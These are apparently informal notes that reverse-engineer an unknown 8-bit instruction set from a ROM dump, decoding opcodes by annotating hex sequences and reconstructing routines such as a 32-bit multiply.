e108 e854f1 ; r1<‑[..0x08]; r0<‑[0xf154]

19 ; op r0, r1? ;

c854f1 ; [0xf154]<‑r0; maybe 0001_1xxx is add? e852f1 ; r0<‑[0xf152]

60 ; something on r0 producing a condition.. 9802

e600 ; 1110_0xxx yyyyyyyy may be "load imm8 into rX" 16 ;

74 bf67c5

; the sequence here is eventful

e18f ; r1<‑0x8f

e825f2 ; r0<‑[0xf225]

21 ; op r0, r1

e170 ; r1<‑0x70

19 ; op r0, r1

c825f2 ; [0xf225]<‑r0

e008 c803f3 bf52d8

28 c8e6ed c8eeed

some evidence that 21 may be the and instruction in particular, rather than add or sub:

e1bf ; r1<‑0xbf

e823f2 ; r0<‑[0xf223]

21 ; op r0, r1

; if op were add, presumably there is a sub, why not sub 0x40? c823f2 ; [0xf223]<‑r0 ; and masks bits, makes somewhat more sense...

`0xbf` as an immediate to `and` selects bits `1011_1111`. if this were `add`, though, it would be an increment by 191 (not common) or a roundabout subtract by 65 (perhaps less common?). so, `and` it is!

is 78..7f is cmp/test/sub r0, rN:

e812b1 e913b1 ea14b1 eb15b1

ecfcee

7c 9012 ; is [0xeefc] == [0xb112]?

e8fdee

79 900c ; is [0xeefd] == [0xb113]?

e8feee

7a 9006 ; is [0xeefe] == [0xb114]?

e8ffee

7b 9803 ; is [0xeeff] == [0xb115]? bf420b

e80db1 e90eb1 ea0fb1 eb10b1

ec05ef

7c 9012 ; is the same for [0xb10d..0xb110] == [0xef05..0xef08] e806ef

79 900c

e807ef

7a 9006

e808ef

7b 9803

bf420b

8e b9

notably 78 does not seem to appear as an instruction. preference for xor r0, r0 (0x28)? or not sub?

at this point it's starting to be especially important to figure out which operands an instruction reads or writes its operands, ones that are explicit and can change instruction to instruction. spans like the following can help make sense of what instructions feed data into ones that come later. trying it on for size, it seems like [10..17] might be mov rX, r0, and maybe [70..77] are sub r0, rN?

87 86 ; push r7; push r6

14 76 15 77 f698 ; mov r4, r0 ?; sub r0, r6 ?; mov r5, r0 ?; sub r0, r7 ? 19 e0f2 c8ecee ; add r0, r1 ?; r0<‑0xf2; r0‑>[0xeeec] 17 ; mov r7, r0 ?; this is especially interesting.. 71 ; maybe this subtracts from r1? or subtracts into r1? 16 ; mov r6, r0 ?

c0 ; ???

c9eeee ; why it would modify from r1, `[0xeeee]<‑r1` c8edee ; and `[0xeeed]<‑r0`

e1ff f651

72 e412 bf4bd4

8e 8f b9

taking this very carefully: the function definitely wants to presersve r7 and r6, so they are likely written here. something happens with r4 and r5? but the 17 after storing to [0xeeec] is really useful! of the few instructions between it and the 77 before it, none seem likely to interact with r7:

* f698 ‑ least known, but still unlikely to reference the 7th anything * 19 ‑ low instructions seem to be like XXXXX_YYY, so this is "op r1, r0"? * e0f2 ‑ pretty confident this only writes to r0

* c8ecee ‑ pretty confident this only reads `r0` and writes to memory

so what's the point of 77 then, using register 7? if 17 reads register 7, then 77 probably wrote it. if 17 writes register 7, then 77 is probably a read ‑ if it was a write then it seems like it would be clobbered later unless one of these instructions uses r7 implicitly.

worse: 77 is probably not writing to r0, so the initial guess of sub r0, r7 seems to really not fit. 19 probably modifies r0, from looking at other blocks above, and its clobbered by e0f2 loading f2 into r0 anyway. all that really seems to remain is that 77 probably reads r0 and probably writes r7, then that 76 does similar but to r6.

at this point it seems best to move on and chip at this block later. 19 above is a mystery; what does it mean here?

c83bef ; [0xef3b]<‑r0

c93cef ; [0xef3c]<‑r1

ca3def ; [0xef3d]<‑r2

cb3eef ; [0xef3e]<‑r3

e825ee ; r0<‑[0xee25]

e93bef ; r1<‑[0xef3b]

19 c825ee ; op r0, r1; [0xee25]<‑r0 ; 18..1f is likely not add, sub, ; could be adc/sbc, maybe `or`

e826ee ; r0<‑[0xee26]

e93cef ; r0<‑[0xef3c]

19 c826ee ; op r0, r1; [0xee26]<‑r0 ; if 19 is `or`, this is computing ; OR of two 32 regions

e827ee ; r0<‑[0xee27]

e93def ; r1<‑[0xef3d]

19 c827ee ; op r0, r1; [0xee27]<‑r0

e828ee ; r0<‑[0xee28]

e93eef ; r1<‑[0xef3f]

19 c828ee ; op r0, r1; [0xee28]<‑r0

ea3bef ; r2<‑[0xef3b] ; then .. something? eb3cef ; r3<‑[0xef3c]

ec3def ; r4<‑[0xef3d]

ed3eef ; r5<‑[0xef3e]

80 e837ef ; op; r0<‑[0xef37]

2280 ; op r0, r2; op

e838ef ; r0<‑[0xef38]

2373 ; op r0, r3; op r0, r3

e839ef ; r0<‑[0xef39]

2474 ; op r0, r4; op r0, r4

e83aef ; r0<‑[0xef3a]

2575 ; op r0, r5; op r0, r5

or this:

e876b4 ; r0<‑[0xb476]

e977b4 ; r1<‑[0xb476]

c8e6b0 ; [0xb0e6]<‑r0

c9e7b0 ; [0xb0e7]<‑r1

28 c8e8b0 ; [0xb0e8]<‑0

c8e9b0 ; [0xb0e9]<‑0

72 73

e9d8ee ; r1<‑[0xeed8]

e8d7ee ; r0<‑[0xeed7]

bff5ec ; ?

ecd5ee ; r4<‑[0xeed5]

bc63ea

; so this loop is...

; do { X r1, X r3, X r2, X r1, X r0, X r4 } while cond(r4) ? 69 3b 3a 39 38 44

99f8

ecd3ee 5474 e8d4ee 097114

c999b4

c898b4

e8daee

c877b4

e8d9ee

c876b4

18..1f seem like r0 |= rX:

e835ef e932ef 19 e933ef 19 e934ef 19

9019

where 19 would mean this ORs all four bytes and checks for.. zero? non‑zero?

‑‑[ inc and dec are a loop's best friend

and maybe 4X is dec? shr? 40 agrees, here's a branch table or smth?

9814

11 19

9810

40 98b6

40 98ba

40 98d8

40 98db

40 98df

40

bf57d0 bfbfcf

seems like 40 is dec r0, consider this loop:

e103

e87fb4

21 ; op r1

74 ; op r4

e500 ; r5<‑0x00

e00b ; r0<‑0x0b

loop:

69 34 35 40 ; op r1?; op? r4; op? r5; dec r1

90 fa ; jnz loop

so 0100_0XXX seems like dec rN. 0011_0XXX may be inc rN? and what is 0x69.

some more about the low 7Xs:

86

14 76 e8e2ed ; r4‑>r0? ; ...??? r6; r0<‑[0xede2] .. ; maybe 76 is xchg r0, r6?

7e 9817 ; 7e is maybe "compare r0 and r6"; jz? e003 c858ef e0ff c859ef ce5aefe458e5efbfded6cee2ed

8e b9

since other ops seem oriented around operations on r0 and modifying r0, the low 7x's might be moving from r0 to a different register? in contrast to low 1x which move into r0. for example in the partially‑disassembled snippet,

r1 <‑ 0x04

r0 <‑ r2

r0 |= r1

op7x.lo r0, r2

r0 <‑ 0x32

[0xf029] <‑ r0

it's loaded r0, modified it, and would clobber it after the unknown op. op7x.lo must at least read r0 and write r2 or other state. there aren't any other instructions to read flags or anything before the next op7x.lo,

r1 <‑ 0x10

r0 <‑ r2

r0 |= r1

op7x.lo r0, r2

so it could be an add/sub to store back into r2, but the or wouldn't make sense. if the r0 is the only register that can be modified by arithmetic instructions ‑ instructions seem small so there's not much encoding space ‑ then modifying a value would look like "copy to r0, modify, copy back".

meanwhile 78..7f is probably a cmp (rather than sub): in a sequence like

r1 <‑ 0x03

r0 <‑ [0xb475]

op7xhi r0, r1 ; byte 0x79

jcc.lo.0 $+0x10 ; bytes 9010, destination `dest`

r1 <‑ 0x04

r0 <‑ [0xeed2]

op7xhi r0, r1

jcc.hi.0 $+0x08

r0 <‑ 0x03

[0xeed2] <‑ r0

op.bc ec2c

dest:

r1 <‑ 0x03

so if op7xhi r0, r1 modified the destination, that modification is clobbered. it generates flags (consumed by jcc.lo.0). 79 is a very common prefix to 90xx or 98xx branches, but uncommon to stand alone.

counterpoint though, sequences like

e100 ; r1 <‑ 0x00

bfecac ; unknown

c9dfee c8deee ; [0xeedf] <‑ r1; [0xeede] <‑ r0

e8eded 902f ; r0 <‑ [0xeded]; jcc $+0x2f?

have a useful branching condition with only loads (barring bfecac generating a status). and even if bfecac did generate a status, the next code if this is taken would be

e8e8ed 9841 ; r0 <‑ [0xede8]; jcc $+0x41

so either the e8 load is enough to generate a status or the 98 branch is fully determined from the earlier bfecac. it's possible; the branches could be a pair like jnz and ja, where there is a third reasonable condition (jb) that becomes the implicit third outcome. but in that case why e8e8ed before the branch?

so perhaps the 90/98 conditions are predicated fully on the contents of r0?

ah, still unsure about bf, but this seems useful:

86

14 76 e8e2ed

7e 9817

e003 c858ef ; [0xef58] <‑ 0

e0ff

c859ef ce5aef ; [0xef59] <‑ 0; [0xef5a] <‑ 0xff

e458 ; r4 <‑ 0x58

e5ef ; r5 <‑ 0xef ; so r5 and r4 together hold `ef58`, ; just assigned

bfded6 ; consumes r4, r5, writes r6?

cee2ed ; [0xed2e] <‑ r6

8e b9

‑‑[ more subtle loads or stores?

distracted by fe01. found this:

87 86 ; push r7; push r6

28 c83df3 ; xor r0, r0; [0xf33d] <‑ r0

e00a c83cf3 ; r0 <‑ 0x0a; [0xf33c] <‑ r0

28 c8c2ee ; xor r0, r0; [0xeec2] <‑ r0

e6ca e7ee ; r6<‑ca; r7<‑ee ; r7:r6 = 0xeeca

fe02 c837f3 ; fe02 ; [0xf337] <‑ r0

fe01 c836f3 ; fe01 ; [0xf336] <‑ r0

fe03 c838f3 ; fe03 ; [0xf338] <‑ r0

fe04 c839f3 ; fe04 ; [0xf339] <‑ r0

fe05 c83af3 ; fe05 ; [0xf33a] <‑ r0

fe06 c83bf3 ; fe06 ; [0xf33b] <‑ r0

f6 9827 ;

so fe0X writes to r0. before feXX are issued, r6 and r7 are often loaded with values that are also similar to nearby pointer values. so r7:r6 usually forms a valid pointer. fe00 does not exist in the image. is there a shorter instruction for a load of [r7:r6 + 0]?

separately, looks like deXX is store r0 to [r7:r6 + XX]. consider this code:

87 86 ; push r7; push r6

ca40ef cc41ef ; [0xef40] <‑ r2; [0xef41] <‑ r4 e412 bf14e9 76 11 77 ; r4 <‑ 0x12; call? ; r0‑>r6; r1‑>r0; r0‑>r7 e072 ; r0 <‑ 0x72

de03 ; hmm

e841ef de04 ; r0 <‑ [0xef41]; hmm

e840ef de05 ; r0 <‑ [0xef40]; hmm

e83eee de06 ; r0 <‑ [0xee3e]; hmm

e200 16 74 17 75 bf5f05 ; e2 <‑ 00; r6‑>r0; r0‑>r4; r7‑>r0; r0‑>r5; call? 8e 8f b9 ; pop r6; pop r7; ret

so if the move of r1:r0 to r7:r6 is for a reason, that likely means:

* the calling convention has pointers returned in r1:r0

* deXX might use r7:r6?

then between each deXX the program only loads r0 with an e8XXXX, so deXX does not modify r0. if it modifies other registers, it's not r2 (clobbered later), not r4, r5 (clobbered later). if it's an indirect store through r7:r6 it doesn't seem to increment (if it does, this is a .... very strange access pattern).

most likely seems to be r0 ‑> [r7:r6 + imm8]. that seems like a plausible function:

push r7; push r6;

[0xef40] <‑ r2; [0xef41] <‑ r4;

r4 <‑ 0x12; call 0xe914;

r1:r0 ‑> r7:r6 ; grouped a few moves together for

;this overall effect

r0 <‑ 0x72; [r7:r6 + 3] <‑ r0

r0 <‑ [0xef41]; [r7:r6 + 4] <‑ r0

r0 <‑ [0xef40]; [r7:r6 + 5] <‑ r0

r0 <‑ [0xee3e]; [r7:r6 + 6] <‑ r0

r2 <‑ 0x00; r7:r6 ‑> r5:r4; call 0x055f ; eliding more movs pop r6; pop r7;

ret

and 18..1f is or! here's another region:

e400 bf4204 ; r4 <‑ 0x00; call

76 11 77 ; r1:r0 ‑> r7:r6 ; similar to before:

; exact movs are r0‑>r6; r1‑>r0; r0‑>r7

71 16 ; r0 ‑> r1; r6 ‑> r0

19 ; unknown

9003 ; jcc $+3

bf420b ; call

e0ff de03 ; r0 <‑ 0xff; [r7:r6 + 3] <‑ r0

28 de04 ; xor r0, r0; [r7:r6 + 4] <‑ r0

e005 de05 ; r0 <‑ 0x05; [r7:r6 + 5] <‑ r0

28 de06 ; xor r0, r0; [r7:r6 + 6] <‑ r0

bf4204 returned a pointer that would be used in de03 and later, below. before it is used there though, 71 16 19 does something with the two bytes of pointer before conditionally calling(?) something(?). there aren't many useful operations on the two bytes.

it's probably or, meaning 71 16 19 forms a null check, and there are likely other hits for that sequence... there are seven. four have the condition branch over a bf420b, so maybe 0xb42 is a fault handler? reset? some kind of trap. it probably doesn't return here since i'm certain that r7:r6 is not useful for writing anyway.

also, that tells us 90 is jnz. 98 then is probably jz. that's consistent with sequences from earlier, like

11 19 9810 ; r0 <‑ r1; r0 |= r1 ; jz $+10

40 98b6 ; dec r0 ; jz $‑0x4a

40 98ba ; dec r0 ; jz $‑0x46

40 98d8 ; dec r0 ; jz $‑0x28

40 98db ; dec r0 ; jz $‑0x25

40 98df ; dec r0 ; jz $‑0x21

implementing a branch table for i in 0..5?

‑‑[ a multiplier!

69 and 38..3f make more sense from this loop:

28 c8e8b0 c8e9b0 ; xor r0, r0; [0xb0e8] <‑ r0; [0xb0e9] <‑ r0; 72 73 ; r0 ‑> r2; r0 ‑> r3

e9d8ee e8d7ee ; r1:r0 <‑ [0xeed7:0xeed8]

bff5ec ; call

ecd5ee ; r4 <‑ [0xee5d]

bc63ea ; dunno

69 3b 3a 39 38 44 ; ??? but r3, r2, r1, r0, then dec r4 99f8 ; conditional branch to ???

so for each of 3b..38 it operates on rN, maybe r0. but if it accumulates into r0, why loop r4 times? if 3b mutates only r3, then there are few operations that make sense for all four registers:

* not adc/sbc (add/sub X to each byte?)

* could be ror/rol (operates on each byte independently)

* rcr could be it, high bytes carry into lower

* rcl could be it if endianness were such that the value is r0:r1:r2:r3 * since it only rotates by one bit it may actually be called a shift through carry?

if it's rcr/rcl then 69 clears the carry flag between loops so the loop implements a shift rather than rotate.

assuming 38..3f is rcr since r3:r2:r1:r0 matches endianness seen elsewhere.

seems like fa is similar to fe, but loading through r3:r2 instead of r7:r6.

fe07 72 fe08 73 ; [r7:r6 + 7..8] ‑> r3:r2

fa03 c872ed ; fa03; store [0xed72]

fa02 c871ed ; fa02; store [0xed71]

fe07 72 fe08 73 e004 d2 bceacc

fe07 72 fe08 73 ; [r7:r6 + 7..8] ‑> r3:r2

e873ed da02 ; load [0xed73]; da02

fe07 72 fe08 73 ; [r7:r6 + 7..8] ‑> r3:r2

e875ed da04 ; load [0xed75]; da04

e874ed da03 ; load [0xed74]; da03

fa might clobber r3:r2? again if it was "load and increment" or "store and increment" then the immediate offsets are very odd. maybe the repeated loads of r3:r2 are redundant?

also from this, da looks similar to de: store r0 to [r3:r2 + XX].

21 might be and r0, r1? r1 seem to often have some immediate consecutive bitmasky thing loaded shortly before 21. same for 22. check this out:

f2 74

e001 e100 e200 e300 ; r3:r2:r1:r0 <‑ 0

9804 ; ???

50 31 32 33 ; op ?r0?; op r1, op r2, op r3 ‑ maybe ; ` r0; rcl r1; rcl r2; rcl r3

44 ; dec r4

99f9 ; conditional loop

ec2eef 24 80 ; load r4; op r4; push r0

e82fef 21 71 ; load r0; op r2; r0‑>r1

e830ef 22 72 ; load r0; op r2; r0‑>r2

e831ef 23 73 ; load r0; op r3; r0‑>r3

88 ; pop r0

c832ef c933ef ca34ef cb35ef ; store r3:r0 ‑> [0xef32:0xef35]

looks like the loop is building up a 32b bitmask, anding, then storing back?

ok, different function:

e408 ; r4 <‑ 8

back:

69 3d ; ccf; rcr r5

911d ; jcc.lo.1 forward

back:

e8eab0 56 c8eab0 ; r0 <‑ [0xb0ea]; op5x r0, r6; [0xb0ea] <‑ r0 e8ebb0 09 c8ebb0 ; r0 <‑ [0xb0eb]; op0x r0, r1; [0xb0eb] <‑ r0 e8ecb0 0a c8ecb0 ; r0 <‑ [0xb0ec]; op0x r0, r2; [0xb0ec] <‑ r0 e8edb0 0b c8edb0 ; r0 <‑ [0xb0ed]; op0x r0, r3; [0xb0ed] <‑ r0

69 ; ccf

forward:

36 31 32 33 44 ; something on r6, r1, r2, r3; dec r4 90d8 ; jnz back

b9 ; ret

first observation: 91 is probably jnc. if it's jc then the loop would be entered with a carry flag set ... only on the first iteration. it seems more likely this is relying on knowing cf is unset to not execute ccf needlessly at the jump target. compared with other codegen, maybe this is a hand‑written intrinsic?

second observation: 30..37 might be rcl? whatever 56 .. 09 .. 0a .. 0b does, the surrounding load/stores suggest that there's a 32b value in r3:r2:r1:r6. meanwhile, the loop operates on r6:r1:r2:r3. each op would then carry out to the next most significant byte, and this is similar to rcr already known to be 38..3f.

then if 30..37 is rcl, the loop implements <u32> << 8. why is TBD, but it seems like a plausible high‑level behavior.

elsewhere, this helps explain 50:

f6 74 ; ; r0 ‑> r4

e001 e100 e200 e300 ; r3:r2:r1:r0 <‑ 00_00_00_01 9804 ; jcc $+4

50 31 32 33 ; ; rcl r1; rcl r2; rcl r3

44 ; dec r4

99f9 ; jcc $‑7

c83bef c93cef ca3def cb3eef ; [0xef3b:0xef3e] <‑ r3:r2:r1:r0

if 50 were add r0, r0, this implements 1u32 << r4 ‑ add r0, r0 is functionally the same as shifting r0 left by 1 with highest bit carried out. it seems unlikely to be adc, because in other places 50 is used it seems that cf is indeterminate.

this region also reinforces that 99 is jnc. if 99 were jc the loop would be taken at most once, but as jnc it is taken until r4 == 0.

this in turn helps explain 08..0f:

e408 ; r4 <‑ 8

bit:

69 3d 911d ; ccf; rcr r5; jc clear

e8eab0 56 c8eab0 ; add [0xb0ea], r6

; (taking creative liberties with the isa)

e8ebb0 09 c8ebb0 ; op [0xb0eb], r1

e8ecb0 0a c8ecb0 ; op [0xb0ec], r2

e8edb0 0b c8edb0 ; op [0xb0ed], r3

clear:

69 36 31 32 33 44 ; ccf; rcl r6:r1:r2:r3; dec r4 90d8 ; jnz bit

b9 ; ret

so... this would be a 32b by 8b multiply.. but only if op is adc. for each set bit in r5, add r6:r1:r2:r3 into 0xb0ea. shift r6:r1:r2:r3 left 1 regardless of bit being set in r5. repeat 8 times for each bit in r5.

... that said, the calling convention for this is different from every other function, and is moderately unhinged: why is r4 unused? why is r0 unused? why is r6 used??? either way. 08..0f is adc.

but this function is weird enough to try figuring that out sooner than later. looking for the memory address referenced here, 0xb0ea there's this region i'd looked at very early on that seems relevant:

c870ef c971ef

e878b4 e979b4 ec70ef 59 4c 74 11 e971ef 49 71 14 c977b4 c876b4 28 c8beb9 e0ea c8c0b9 e00d c8bfb9 e201 e405 bcc632 e105 e875b4 79 9004

28 c8d2ee

b98485 86 e600 ; something; push r6; r6 <‑ 0

ceeab0 ; [0xb0ea] <‑ 0

ceebb0 ; [0xb0eb] <‑ 0

ceecb0 ; [0xb0ec] <‑ 0

ceedb0 ; [0xb0ed] <‑ 0

76 ede6b0 ; r0 ‑> r6 ; r5 <‑ [0xb0e6]

bf 2f ; op; op

ed ed e7b0bf 2f ; ??

ed ed e8b0bf 2f ; ??

ed ed e9b0bf 2f ; ??

ed ; ??

e8eab0 ; [0xb0ea:0xbeed] <‑ r3:r2:r1:r0 e9ebb0

eaecb0

ebedb0

8e 8d 8c b9

but the whole thing in the middle is nonsense. taking a much closer look, though, this was before i'd learned... many things about the instruction set. first, on line 6 the first instruction is not b98485! it is just b9 ‑ ret. so this region is actually the end of one function and start of the next. 84 85 86 are pushes in the prologue of the real function of interest.

additionally, bf is not a standalone instruction, it takes two bytes as an immediate to call. and ed is not an instruction on its own, it is r5 <‑ [imm16]. so lets delineate that correctly...

84 85 86 e600 ; push r4; push r5; push r6; r6 <‑ 0 ceeab0 ; [0xb0ea] <‑ 0

ceebb0 ; [0xb0eb] <‑ 0

ceecb0 ; [0xb0ec] <‑ 0

ceedb0 ; [0xb0ed] <‑ 0

76 ; r0 ‑> r6

ede6b0 bf2fed ; r5 <‑ [0xb0e6]; call 32x8b multiply? ede7b0 bf2fed ; r5 <‑ [0xb0e7]; call 32x8b multiply? ede8b0 bf2fed ; r5 <‑ [0xb0e8]; call 32x8b multiply? ede9b0 bf2fed ; r5 <‑ [0xb0e9]; call 32x8b multiply? e8eab0 ; [0xb0ea:0xbeed] <‑ r3:r2:r1:r0 e9ebb0

eaecb0

ebedb0

8e 8d 8c b9

and so here we are: this function implements a 32b x 32 multiply of the integers in b0ea:b0ed and b0e6:b0e9, storing the result in b0ea:b0ed. notable mention to r0, which happens to be the low byte of the last round of multiplication, so the e8eab0: [0xb0ea] <‑ r0 is in fact correctly storing the low byte of this whole thing to the output region.

notable mention, too, to 76: r0 ‑> r6, because by leaving r0 free for clobber the inner multiply routine does not need to move the r0 argument elsewhere to free r0 for use in add/adc. and loads from memory are no more expensive (in terms of code size) when loading to an alternate register, so it's simple enough to load directly to r6 for the to‑multiply byte of reach step.

‑‑[ what's left?

OK. this is great progress so far. many instructions make sense, composition of those instructions seems reasonable. the only remaining encoding regions that are unknown are:

* 00..07

* 48..4f

* 58..5f

* 60..6f, except 69 (ccf)

* 78..7f: might be cmp, might be sub. need evidence one way or the other! * a0..af, seems not‑present

* b0..b7, seems not‑present, except b4

* b8..bf, except b9, bc (maybe jump?), bf

* c0..c7, which is remarkably rare

* d0..df, except da, de. seen but not understood: db, dc

* f0..ff, except fa, fe. seen but not understood: f0, f2, f3, f4, f6

and as a bonus, knowing the relationship of the last two functions i'd looked at, i know the base address of this rom (finally!!): the inner multiply routine starts at 0xedf2, so the first byte of this image is at address 0xed2f (mapped) ‑ 0x31c3 (file) == 0xbb5c.

here's a theory for d2, d4, d6, as well as e2, e4, e6: like their d<high> counterparts but with no immediate offset. that is, d4 is [r5:r4] <‑ r0? here's a hex region to help inform this theory:

900d ; jcc later

ea15ee eb16ee ; r4<‑[0xee15]; r5<‑[0xee16]

fa01 dc01 ; r0<‑[r3:r2+1]; [r5:r4+1]<‑r0

f2 d4 ; ?? ??

b9 ; ret

later:

ea15ee eb16ee ; r4<‑[0xee15]; r5<‑[0xee16]

fa03 dc01 ; r0<‑[r3:r2+3]; [r5:r4+1]<‑r0

fa02 d4 ; r0<‑[r3:r2+2]; ??

b9 ; ret

so, this seems like a conditional branch to move 16b from one part of a struct or another, to a single destination location. d4 probably stores the lower byte being copied, evidenced by fa02 to load it in the later branch. then f2 is probably a load of the lower byte, to store it in the earlier case. there is no dc00 or fa00 or similar.... probably because for offset‑by‑zero cases, there are these shorter instructions for the same outcome. this happens to make for a neat pattern as well for opcodes like 0b11x1_iNNN:

* x picks between "load" and "store" ‑ this is the difference between 0xde and 0xfe

* i picks between offset 0 and offset imm8 ‑ this is the difference between 0xd4 and 0xdc

* NNN picks which register pair to indirect through ‑ d2 uses r3:r2, d4 uses r5:r4, d6 uses r7:r6

and so this opens more questions than it answers! what happens if NNN an odd register? can this machine indirect through a register pair like r4:r3? why is the pair r1:r0 never used? what about r7:r6? in fact rEven:rOdd seems never used, are those instructions entirely different?

... [ week long pause here. Destiny 2: The Final Shape launched, and everything else ground to a halt ] ...

‑‑[ whittling down the last few opcodes...

OK. short list of remaining instructions. motivation and optimism are starting to fade.. but i want to figure out as many as possible.

[: 48..4f :]

it seems like 48..4f has some kind of a lead here:

e878b4 e979b4 ec70ef 59 4c 74 11 e971ef 49 71 14 c977b4

which at first only looks interesting for its use of the very uncommon opcode 4c. structuring that slightly differently makes some of the relationships a little more clear:

e878b4 e979b4 ; r0:r1 <‑ [0xb478:0xb479]

ec70ef 59 4c 74 11 ; r4 <‑ [0xef70]; ???; ???; r0 ‑> r4; r1 ‑> r0 e971ef 49 71 14 ; r1 <‑ [0xef71]; ???; r0 ‑> r1; r4 ‑> r0 c977b4 c876b4 ; [0xb477:0xb478] <‑ r0:r1

the 4c and 49 operations clearly modify r0. 59 might modify a register or do something else; if it modifies a register, it's probably r1 which is used later. it seems like r1 is the high byte of a 16b integer, so an operation directly on that byte seems a little unlikely. 59 might be a mirror of 69 (clear carry flag), setting the carry flag instead?

as for 49 and 4c, best guesses are heavily informed by what i already know: this isn't adc, or, and, add, rotate left or right, ... but given the seeming 16b value being operated on, maybe these are sbc. that would mean with 59 being set cf, this is computing something like *0xb479 ‑= *0xef70 + 1.

this isn't a lot to go on for sbc, but double‑checking a different function, it's at least coherent:

e8e8ed 9841

e103 fe01 79 9807

e102 fe01 79

9022

ea03ee eb04ee

e058 e11b

59 4a 72 ; ??? ; sbc r0, r2; r0 ‑> r2 11 4b 73 ; r1 ‑> r0 ; sbc r0, r3; r0 ‑> r3 e8deee 7a e8dfee 4b 9108 ; r0 <‑ [0xeede]; r0 ‑= r2; r0 <‑ [0xeedf]

; sbc r0, r3; jc $+8

bf27c5 e400 bff4dd

e102 fe01 79 9803

bc05c7

28 c8e8ed bc05c7

e101 fe01

79 9008

i've marked up the most relevant lines: 59 is a leader again, and r1 is used here, but if 59 modifies r1 then, again, it's something that makes sense to do first and only to the upper byte of a 16bit number. r2:r3 seem subtracted into, and with the load; sub; load; sbc; jc sequence this implements something like if (r2:r3 ‑ 0x1b58 >= [0xeede:0xeedf])

[: 59 ... or a wild guess towards 58..5f? :]

going to also assume that 59 is set carry flag, since no other 58..5f instructions seem to be present here.. this mirrors 69 as well.

[: 60..67 ... where possible :]

61 shows up before conditional branches, usually after loading from 0xf303..? is that maybe a gpio address? 60 and 62 are also present .... here:

fe07 72 fe08 73 fa04 c875ed fa03 c874ed e850f1 62 9003 bceacc e852f1 60 9003 bceacc e400 bf67c5 bceacc

... is 60..67 something like "extract bit N of r0"? r0 is typically loaded before it's executed, and conditional branches are always present after. probably not consuming an rN and probably modifies r0 for the condition. difficult to imagine another purpose for a 3‑bit field at that point.

[: ba :]

another region i looked at very early on has a "ba" in it at least. it's a remarkably rare opcode, it seems:

8f 8e 88

c8f0b0 88 c8efb0 88 c8eeb0 88 c8edb0 88

c8ecb0 88 c8ebb0 88 c8eab0 88 c8e9b0 88

c8e8b0 88 c8e7b0 88 c8e6b0

8d 8c 8b 8a 89 88

bae8f3 b4 c85ced e8f2b4 c85bed

b9

... is actually split up wrong, rather than bae8f3 b4, this is ba e8f3b4! matching with the e8f2b4 to load one byte lower a few instructions later. fixed up that looks like this:

[elided restore of 0xb0e6:0xb0f0]

8d 8c 8b 8a 89 88

ba

e8f3b4 c85ced e8f2b4 c85bed

b9

so then this routine is restoring the region of bytes used for 32b x 32b multiply, all registers, then almost‑but‑not‑ret. given the full‑restore including scratch memory, this seems like the end of an interrupt routine. so ba is iret? consistent with what might be an ISR return at least. there happens to be another small routine directly after.

[: 00..07 :]

turning all the way back, this pattern gives an idea for 00..07:

e850ef e951ef ; r1:r0 <‑ [0xef51]:[0xef50]

e404 ; r4 <‑ 0x04

54 ; r0 += r4

9101 ; jnc $+1

01 ; ???

80 ; push r0

f0 ; r0 <‑ [r1:r0]

74 ; r4 <‑ r0

88 ; pop r0

f801 ; r0 <‑ [r1:r0 + 1]

75 ; r5 <‑ r0

or this,

15 71 14 ; r1:r0 <‑ r5:r4

e304 ; r3 <‑ 0x04

53 ; r0 += r3

9101 ; jnc $+1

01 ; ???

76 11 77 ; r7:r6 <‑ r1:r0

so here, 01 is only conditionally executed if adding produced a carry out. r0 and r1 seem to be operated on together, so the two might be logically a 16‑bit integer. so 01 might be inc rN? in that case the carry out is being conditionally added into the higher byte. nothing else has seemed obviously like an inc yet. this seems a little odd on the whole in the first snippet, since the result of addition doesn't seem to be preserved.. r0 is clobbered in the last load. could that whole region have been f805 74 f806 75? this might still be missing some additional behavior.

other uses of 00..07 don't obviously disagree with this though. for example, 00:

e8eeed 00 c8eeed ; [0xedee] += 1

...

fa03 00 da03 ; [r3:r2 + 3] += 1

...

fe04 00 de04 ; [r7:r6 + 4] += 1

...

e8c0ee 00 c8c0ee ; [0xeec0] += 1

so, maybe 00 actually is inc.

‑‑[ mostly done, what's left in the encoding space?

this all is some progress, with not much left unknown. from the earlier list: * 00..07 ‑ inc rN

* 48..4f ‑ sbc r0, rN

* 58..5f, except 59 (scf) ‑ might be flags manipulation? not present, either way

* 60..68 ‑ bit r0, N * 68..6f, except 69 (ccf) ‑ might be flags manipulation? not present, either way

* 78..7f: might be cmp, might be sub. need evidence one way or the other! * a0..af, seems not‑present ‑ a0 is present.. once.

* b0..b7, seems not‑present

* b8..bf, except b9, ba, bc (maybe jump?), bf

* c0..c7, which is remarkably rare. c0, c4, c6?

* d0..df, ~except da, de. seen but not understood: db, dc~ d0..d7, evens, are [rN+1:rN] <‑ r0 d8..df, evens, are [rN+1:rN + imm] <‑ r0 db is not actually present, was a misreading of the program

* f0..ff, ~except fa, fe. seen but not understood: f0, f2, f3, f4, f6~ f0..f7, evens, are r0 <‑ [rN+1:rN] f8..ff, evens, are

r0 <‑ [rN+1:rN + imm] f3 is not actually present, was a misreading of the program

so.. last questions:

* is 78..7f actually sub or cmp?

* what is a0?

* what are c0..c7?

‑‑[ 78..7f ... sub or cmp?

the question really is, "does this instruction modify r0?" ‑ it's possible that the instruction computes sub, stores the result, and the program never actually uses that result, either because subtraction isn't often used or because of a compiler deficiency, something else, whatever. so the best guess here is, "is r0 ever preserved after a 78..7f?" or asked differently, "does r0 get preserved/restored around a 78..7f?"

the only hint that 78..7f might clobber r0 comes from regions like this:

e103 fe01 79 9807 ; r1 <‑ 3; r0 <‑ [r7:r6]; sub r0, r1; jz ... e102 fe01 79 9022 ; r1 <‑ 2; r0 <‑ [r7:r6]; sub r0, r1; jnz ... ea03ee eb04ee e058 e11b ...

if 79 were cmp and did not modify r0, there wouldn't be a need to reload it in fe01. ... but this may be poor code, and the reload may actually be redundant. since this seems to implement

if ([r7:r6] == 3 || [r7:r6] == 2) { .. load registers }

and there are no other signs that 78..7f clobbers r0, this might actually be cmp.

‑‑[ what is a0?

this seems to be the only place a0 is present:

14 71

bcabe6

bfd00e ; call 0xed0 (???)

c8bcee ; [0xeebc] <‑ r0

a0 ; ???

72 11 73 ; r3:r2 <‑ r1:r0

fa0b c8bfee ; [0xeebf] <‑ [r3:r2 + 0x0b]

fa0a c8beee ; [0xeebe] <‑ [r3:r2 + 0x0a]

e046 40 ; r0 <‑ 0x46; dec r0 (???)

da0a ; [r3:r2 + 0x0a] <‑ r0

e0e6 9901 ; r0 <‑ 0xe6; jc $+01

